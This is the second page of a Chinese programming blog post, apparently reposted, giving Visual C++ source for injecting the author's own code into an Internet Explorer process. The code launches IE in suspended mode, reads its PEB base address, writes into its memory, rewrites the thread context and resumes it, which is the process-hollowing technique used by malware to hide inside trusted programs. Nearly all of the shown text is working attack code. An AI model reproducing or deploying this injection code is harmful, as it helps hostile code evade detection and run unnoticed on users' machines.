设为首页 加入收藏

TOP

一个将自己代码插入IE进程的例子(VC代码)(二)
2014-11-23 20:18:02 来源: 作者: 【 】 浏览:98
Tags:一个 自己 代码 插入 进程 例子
x] ",ThreadCxt.Edx);
printf("EIP = [0x%08x] ",ThreadCxt.Eip);
#endif

SetThreadContext(pi.hThread, &ThreadCxt);
ResumeThread(pi.hThread);

}
else
{
printf("WirteMemory Failed,code:%d ",GetLastError());
TerminateProcess(pi.hProcess, 0);
}

}
else
{
printf("VirtualMemory Failed,code:%d ",GetLastError());
TerminateProcess(pi.hProcess, 0);
}
}

return TRUE;
}

DWORD GetSelfImageSize(HMODULE hModule)
{
DWORD dwImageSize;

_asm
{
mov ecx,0x30
mov eax, fs:[ecx]
mov eax, [eax + 0x0c]
mov esi, [eax + 0x0c]
add esi,0x20
lodsd
mov dwImageSize,eax

}

return dwImageSize;
}

BOOL CreateInjectProcess(
PPROCESS_INFORMATION pi,
PCONTEXT pThreadCxt,
CHILDPROCESS *pChildProcess
)

{
STARTUPINFO si = {0};

DWORD *PPEB;
DWORD read;

// 使用挂起模式启动ie

if( CreateProcess(NULL, szIePath, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi)||MessageBox(0,":(",":(",0))
{

pThreadCxt->ContextFlags = CONTEXT_FULL;
GetThreadContext(pi->hThread, pThreadCxt);
PPEB = (DWORD *)pThreadCxt->Ebx;

ReadProcessMemory(pi->hProcess,&PPEB[2],(LPVOID)&(pChildProcess->dwBaseAddress),sizeof(DWORD),&read);

return TRUE ;

}
return FALSE;
}


转载本站文章请注明,转载自:Chinadu`s Blog

首页 上一页 1 2 下一页 尾页 2/2/2
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
分享到: 
上一篇替换和安装新svchost服务 下一篇VC++ 判断文本文件是否UTF-8编码

评论

帐  号: 密码: (新用户注册)
验 证 码:
表  情:
内  容: